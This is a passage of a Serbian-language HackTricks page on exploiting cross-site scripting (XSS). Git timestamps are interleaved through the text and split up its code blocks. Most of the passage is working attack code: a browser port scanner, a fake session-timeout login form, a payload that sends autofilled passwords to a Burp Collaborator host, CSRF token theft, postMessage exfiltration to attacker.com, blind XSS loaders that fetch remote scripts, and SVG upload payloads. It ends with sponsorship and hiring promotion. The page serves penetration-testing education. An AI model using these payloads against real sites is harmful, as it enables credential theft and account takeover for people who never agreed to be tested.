```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i< ports.length ; i + + ) {
2024-02-10 13:11:20 +00:00
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
2020-07-15 15:43:14 +00:00
}
```
2024-02-10 13:11:20 +00:00
_Kratka vremena ukazuju na odgovarajući port_ _Duža vremena ukazuju na nedostatak odgovora._
2020-11-20 10:55:52 +00:00
2024-02-18 14:58:46 +00:00
Pregledajte listu zabranjenih portova u Chrome [**ovde** ](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc ) i u Firefox-u [**ovde** ](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist ).
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:30 +00:00
### Polje za unos podataka
2020-07-15 15:43:14 +00:00
```markup
< style > :: placeholder { color : white ; } < / style > < script > document . write ( "<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>" ) < / script >
```
2024-02-10 13:11:20 +00:00
### Snimanje automatskog popunjavanja lozinki
2020-07-15 15:43:14 +00:00
```javascript
< b > Username:< />< br >
< input name = username id = username >
< b > Password:< />< br >
< input type = password name = password onchange = "if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```
2024-02-23 16:45:30 +00:00
Kada se unesu podaci u polje za lozinku, korisničko ime i lozinka se šalju na server napadača, čak i ako klijent izabere sačuvanu lozinku i ne unese ništa, podaci će biti eksfiltrirani.
2020-07-15 15:43:14 +00:00
2022-05-01 16:57:45 +00:00
### Keylogger
2021-05-27 13:02:25 +00:00
2024-02-18 14:58:46 +00:00
Samo pretražujući na githubu pronašao sam nekoliko različitih:
2021-05-27 13:02:25 +00:00
* [https://github.com/JohnHoder/Javascript-Keylogger ](https://github.com/JohnHoder/Javascript-Keylogger )
* [https://github.com/rajeshmajumdar/keylogger ](https://github.com/rajeshmajumdar/keylogger )
* [https://github.com/hakanonymos/JavascriptKeylogger ](https://github.com/hakanonymos/JavascriptKeylogger )
2024-02-10 13:11:20 +00:00
* Takođe možete koristiti metasploit `http_javascript_keylogger`
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### Krađa CSRF tokena
2020-07-15 15:43:14 +00:00
```javascript
< script >
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
2024-02-10 13:11:20 +00:00
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'& email=test@test.com')
2020-07-15 15:43:14 +00:00
};
< / script >
```
2024-02-10 13:11:20 +00:00
### Krađa PostMessage poruka
2020-07-15 15:43:14 +00:00
```markup
< img src = "https://attacker.com/?" id = message >
< script >
2024-02-10 13:11:20 +00:00
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
2020-07-15 15:43:14 +00:00
< / script >
```
2024-02-10 13:11:20 +00:00
### Zloupotreba servisnih radnika
2020-07-15 15:43:14 +00:00
2022-12-20 11:25:07 +00:00
{% content-ref url="abusing-service-workers.md" %}
[abusing-service-workers.md ](abusing-service-workers.md )
{% endcontent-ref %}
2021-10-20 00:45:58 +00:00
2024-02-10 13:11:20 +00:00
### Pristupanje Shadow DOM-u
2023-08-16 08:24:17 +00:00
{% content-ref url="shadow-dom.md" %}
[shadow-dom.md ](shadow-dom.md )
{% endcontent-ref %}
2024-02-10 13:11:20 +00:00
### Poligloti
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### Slepi XSS payloadi
2021-10-08 09:38:39 +00:00
2024-02-10 13:11:20 +00:00
Možete takođe koristiti: [https://xsshunter.com/ ](https://xsshunter.com )
2020-07-15 15:43:14 +00:00
```markup
">< img src = '//domain/xss' >
">< script src = "//domain/xss.js" > < / script >
>< a href = "javascript:eval('d=document; _ = d.createElement(\'script\');_ .src= \'//domain \';d.body.appendChild(_)')" > Click Me For An Awesome Time</ a >
2020-07-30 22:31:02 +00:00
< script > function b ( ) { eval ( this . responseText ) } ; a = new XMLHttpRequest ( ) ; a . addEventListener ( "load" , b ) ; a . open ( "GET" , "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb" ) ; a . send ( ) ; < / script >
2020-07-15 15:43:14 +00:00
<!-- html5sec - Self - executing focus event via autofocus: -->
">< input onfocus = "eval('d=document; _ = d.createElement(\'script\');_ .src= \'\/\/domain/m \';d.body.appendChild(_)')" autofocus >
<!-- html5sec - JavaScript execution via iframe and onload -->
2024-02-10 13:11:20 +00:00
">< iframe onload = "eval('d=document; _=d.createElement(\'script\');_ .src= \'\/\/domain/m \';d.body.appendChild(_)')" >
2020-07-15 15:43:14 +00:00
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
">< svg onload = "javascript:eval('d=document; _ = d.createElement(\'script\');_ .src= \'//domain \';d.body.appendChild(_)')" xmlns = "http://www.w3.org/2000/svg" ></ svg >
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
">< video >< source onerror = "eval('d=document; _ = d.createElement(\'script\');_ .src= \'//domain \';d.body.appendChild(_)')" >
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
">< body onpageshow = "eval('d=document; _ = d.createElement(\'script\');_ .src= \'//domain \';d.body.appendChild(_)')" >
<!-- xsshunter.com - Sites that use JQuery -->
< script > $ . getScript ( "//domain" ) < / script >
<!-- xsshunter.com - When <script> is filtered -->
">< img src = x id = payload== onerror = eval(atob(this.id)) >
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
">< input onfocus = eval(atob(this.id)) id = payload== autofocus >
2020-07-30 22:31:02 +00:00
<!-- noscript trick -->
< noscript > < p title = "</noscript><img src=x onerror=alert(1)>" >
2020-07-15 15:43:14 +00:00
<!-- whitelisted CDNs in CSP -->
">< script src = "https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js" > < / script >
< script src = "https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js" > < / script >
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration : - ]... -->
< div ng-app ng-csp > < textarea autofocus ng-focus = "d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'" > < / textarea > < / div >
```
2024-02-10 13:11:20 +00:00
### Regex - Pristup skrivenom sadržaju
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
Iz [**ovog objašnjenja** ](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay ) moguće je naučiti da čak i ako neke vrednosti nestanu iz JS-a, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a i dalje je moguće pronaći nakon što je vrednost unosa REGEX-a uklonjena:
2023-01-12 12:36:15 +00:00
```javascript
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
```
2024-02-18 14:58:46 +00:00
### Lista Brute-Force
2021-06-27 21:56:13 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
2021-06-27 21:56:13 +00:00
2024-03-17 16:33:13 +00:00
## Zloupotreba drugih ranjivosti XSS-a
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### XSS u Markdown-u
2021-11-29 10:15:51 +00:00
2024-02-10 13:11:20 +00:00
Možete ubaciti Markdown kod koji će biti prikazan? Možda možete dobiti XSS! Proverite:
2022-05-05 23:53:10 +00:00
{% content-ref url="xss-in-markdown.md" %}
[xss-in-markdown.md ](xss-in-markdown.md )
{% endcontent-ref %}
2021-11-29 10:15:51 +00:00
2024-02-18 14:58:46 +00:00
### XSS ka SSRF-u
2020-09-09 09:02:24 +00:00
2024-03-17 16:33:13 +00:00
Imate XSS na **sajtu koji koristi keširanje** ? Pokušajte **nadograditi to na SSRF** kroz ubacivanje Edge Side Include Injection sa ovim payload-om:
2020-09-09 09:02:24 +00:00
```python
< esi:include src = "http://yoursite.com/capture" / >
```
2024-02-18 14:58:46 +00:00
Koristite ga da biste zaobišli ograničenja kolačića, XSS filtere i mnogo više!\
2024-02-10 13:11:20 +00:00
Više informacija o ovoj tehnici možete pronaći ovde: [**XSLT** ](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md ).
2020-09-09 09:02:24 +00:00
2024-02-10 13:11:20 +00:00
### XSS u dinamički kreiranom PDF-u
2020-09-09 09:02:24 +00:00
2024-02-18 14:58:46 +00:00
Ako veb stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da **prevarite bota** koji kreira PDF da **izvrši proizvoljan JS kod** .\
2024-03-17 16:33:13 +00:00
Dakle, ako **bot za kreiranje PDF-a pronađe** neke vrste **HTML** **tagova** , on će ih **interpretirati** , i možete **zloupotrebiti** ovu ponašanje da biste izazvali **Server XSS** .
2020-12-24 09:46:40 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md ](server-side-xss-dynamic-pdf.md )
{% endcontent-ref %}
2020-12-24 09:46:40 +00:00
2024-03-17 16:33:13 +00:00
Ako ne možete ubaciti HTML tagove, vredno je pokušati **ubaciti podatke u PDF** :
2020-12-24 09:46:40 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="pdf-injection.md" %}
[pdf-injection.md ](pdf-injection.md )
{% endcontent-ref %}
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### XSS u Amp4Email-u
2022-08-16 09:38:59 +00:00
2024-03-17 16:33:13 +00:00
AMP, sa ciljem ubrzanja performansi veb stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi se osigurala funkcionalnost sa naglaskom na brzinu i sigurnost. Podržava niz komponenti za različite funkcije, dostupnih putem [AMP komponenti ](https://amp.dev/documentation/components/?format=websites ).
2022-08-16 09:38:59 +00:00
2024-02-18 14:58:46 +00:00
Format [**AMP za Email** ](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/ ) proširuje određene AMP komponente na e-poštu, omogućavajući primaocima da direktno interaguju sa sadržajem unutar svojih e-poruka.
2022-08-16 09:38:59 +00:00
2024-03-17 16:33:13 +00:00
Primer [**writeup XSS u Amp4Email-u u Gmail-u** ](https://adico.me/post/xss-in-gmail-s-amp4email ).
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### XSS otpremanje fajlova (svg)
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
Otpremite kao sliku fajl poput sledećeg (sa [http://ghostlulz.com/xss-svg/ ](http://ghostlulz.com/xss-svg/ )):
2020-07-15 15:43:14 +00:00
```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
2021-04-12 14:09:57 +00:00
2020-07-15 15:43:14 +00:00
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
< svg version = "1.1" baseProfile = "full" xmlns = "http://www.w3.org/2000/svg" >
2024-02-10 13:11:20 +00:00
< rect width = "300" height = "100" style = "fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" / >
< script type = "text/javascript" >
alert(1);
< / script >
2020-07-15 15:43:14 +00:00
< / svg >
-----------------------------232181429808--
```
2021-06-15 09:31:42 +00:00
```markup
2020-07-15 15:43:14 +00:00
< svg version = "1.1" baseProfile = "full" xmlns = "http://www.w3.org/2000/svg" >
2024-02-10 13:11:20 +00:00
< script type = "text/javascript" > alert ( "XSS" ) < / script >
2020-07-15 15:43:14 +00:00
< / svg >
```
2021-06-15 09:31:42 +00:00
```markup
2021-01-22 11:00:52 +00:00
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
< svg version = "1.1" baseProfile = "full" xmlns = "http://www.w3.org/2000/svg" >
< polygon id = "triangle" points = "0,0 0,50 50,0" fill = "#009900" stroke = "#004400" / >
< script type = "text/javascript" >
alert("XSS");
< / script >
< / svg >
```
2022-04-30 10:09:20 +00:00
```svg
< svg width = "500" height = "500"
2024-02-10 13:11:20 +00:00
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
< circle cx = "50" cy = "50" r = "45" fill = "green"
id="foo"/>
< foreignObject width = "500" height = "500" >
< iframe xmlns = "http://www.w3.org/1999/xhtml" src = "data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width = "400" height = "250" / >
< iframe xmlns = "http://www.w3.org/1999/xhtml" src = "javascript:document.write('hi');" width = "400" height = "250" / >
< / foreignObject >
2022-06-25 15:45:47 +00:00
< / svg >
2022-04-30 10:09:20 +00:00
```
2022-07-20 09:38:23 +00:00
```html
< svg > < use href = "//portswigger-labs.net/use_element/upload.php#x" / > < / svg >
```
2023-03-03 17:26:17 +00:00
```xml
< svg > < use href = "data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" / >
```
2024-02-18 14:58:46 +00:00
Pronađite **više SVG payloada na** [**https://github.com/allanlw/svg-cheatsheet** ](https://github.com/allanlw/svg-cheatsheet )
2023-03-03 17:26:17 +00:00
2024-03-17 16:33:13 +00:00
## Razne JS Trikovi & Relevantne Informacije
2020-07-15 15:43:14 +00:00
2023-02-07 10:56:16 +00:00
{% content-ref url="other-js-tricks.md" %}
[other-js-tricks.md ](other-js-tricks.md )
{% endcontent-ref %}
2024-02-10 13:11:20 +00:00
## XSS resursi
2023-01-05 13:05:03 +00:00
2023-02-07 10:56:16 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection )
2023-03-05 22:20:47 +00:00
* [http://www.xss-payloads.com ](http://www.xss-payloads.com ) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt ](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt ) [https://github.com/materaj/xss-list ](https://github.com/materaj/xss-list )
* [https://github.com/ismailtasdelen/xss-payload-list ](https://github.com/ismailtasdelen/xss-payload-list )
2023-02-07 10:56:16 +00:00
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec ](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec )
2023-01-05 13:05:03 +00:00
* [https://netsec.expert/2020/02/01/xss-in-2020.html ](https://netsec.expert/2020/02/01/xss-in-2020.html )
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-28 16:01:33 +00:00
2024-02-23 16:45:30 +00:00
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
2022-05-08 22:42:39 +00:00
2024-02-18 14:58:46 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-05-08 22:42:39 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-18 14:58:46 +00:00
Drugi načini podrške HackTricks-u:
2024-01-01 17:15:42 +00:00
2024-03-17 16:33:13 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU** ](https://github.com/sponsors/carlospolop )!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* Otkrijte [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
2024-02-18 14:58:46 +00:00
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >